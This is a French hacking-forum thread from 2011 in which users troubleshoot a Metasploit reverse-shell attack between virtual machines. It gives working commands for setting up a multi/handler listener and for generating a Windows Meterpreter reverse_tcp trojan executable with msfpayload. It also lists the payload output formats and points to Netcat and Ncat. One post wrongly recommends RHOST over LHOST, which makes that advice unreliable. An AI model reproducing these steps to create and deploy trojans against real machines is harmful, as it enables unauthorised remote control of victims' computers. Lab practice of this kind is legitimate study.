Crack-wifi.com FORUM

Ca ressemble à un problème de pare-feu, travailler en machines virtuelles (même via un pont réseau) ne facilite pas les choses...

Commence par vérifier que tu peux contacter le port 46666 de ta machine attaquante depuis ta machine victime. Par exemple tu lances le payload handler que tu laisses en attente, et depuis la machine victime tu essaies un telnet sur l'IP/port en question. Ca serait plus efficace de faire ça avec Netcat ou Ncat, mais il faut les installer alors que Telnet est déjà dispo
Tu peux aussi regarder avec Wireshark sur la machine victime à quoi ressemble le trafic sur le port 46666.

Une dernière chose : on est bien d'accord que tu n'as pas un antivirus/pare-feu actif sur la machine victime ?!

Que te renvois le résultat de la commande telnet exactement?

En effet je pense pas que ce soit ça pour avoir utilisé metasploit sur unbutu, quand tu dis "forger le fichier infecté" tu comptes encoder ton .exe ou le modifier avec d'autres techniques?

OK, donc la connexion passe, c'est déjà ça... Du coup je sais pas trop pourquoi l'attaque ne fonctionne pas, tu saurais essayer avec msfconsole plutôt que msfcli ? Tu devras taper les arguments 1 à 1 donc ça devrait donner ceci :

- use multi/handler
- set PAYLOAD windows/meterpreter/reverse_tcp
- set LHOST 192.168.1.7
- set LPORT 46666
- exploit

Au passage, je pense que j'ai trouvé d'où vient l'erreur : quand tu génères ton trojan, tu dois utiliser RHOST pas LHOST. LHOST correspond à l'hôte Local sur lequel il faut écouter, mais dans le cas d'une connexion en reverse c'est la victime qui démarre la connexion vers le serveur ; il faut donc spécifier l'adresse RHOST (R comme Remote) du serveur à joindre
Essaie avec cette commande :

msfpayload windows/meterpreter/reverse_tcp RHOST=192.168.1.7 LPORT=46666 RPORT=46666 > JeSuisPasGentil_EtEnPlusJeFonctionne.exe

(je pense que le LPORT ne sert à rien mais bon, il ne pose pas de problème non plus)

Pour netcat, cherche le fichier "nc111nt" sur Google, c'est la version 1.11 de Netcat pour Windows, tu devrais même pouvoir retrouver des sources VisualC++ si tu veux le recompiler toi-même Perso je préfère travailler avec Ncat, qui est une amélioration par l'équipe de Nmap. Il est plus lourd mais je le trouve plus complet, tu peux le télécharger en même temps que tous les binaires Win32 sur le site de Nmap
--> Ncat, le successeur de Netcat/Cryptcat

@koala : telnet va lui renvoyer le payload binaire mais affiché comme de l'ASCII donc on ne saura rien en déduire Surtout que si le payload fait 300k, on aura 300.000 caractères mais qui n'ont aucun sens
Au passage, je pense que oui il peut y avoir des différences entre Metasploit sur Ubuntu et sur BackTrack : Metasploit est très sensible à la version de Ruby utilisée, tout est bien affiné sous BackTrack (encore que...), mais ce n'est pas forcément le cas sous Ubuntu !

Essaies tout simplement avec la commande suivante :

./msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.7 LPORT=46666 x > JeSuisTresGentil.exe

Ensuite tu lui donne des droits d’exécution:

chmod +x JeSuisTresGentil.exe

Dernière modification par Fuji (21-12-2011 19:59:56)

Arf, le c*n chui passé à côté de ça Bien vu Fuji

Le dernier argument de la commande msfpayload sert à définir le type de sortie, c'est expliqué dans l'aide (msfpayload -h) :
- X pour un eXécutable (windows)
- R pour une sortie brute (Raw) que tu rediriges par exemple vers msfencode
- C pour du code C (je crois)
- P pour un script Perl
- RUB pour un script Ruby
- J pour du javascript
- D pour une DLL Windows
- V pour du VisualBasic
- W pour "war" mais je ne sais pas à quoi ça correspond, un lien avec wargame peut-être...

Comme tu ne précisais pas de type, je suppose qu'il sortait du RAW par défaut donc évidemment ce n'était pas exécutable...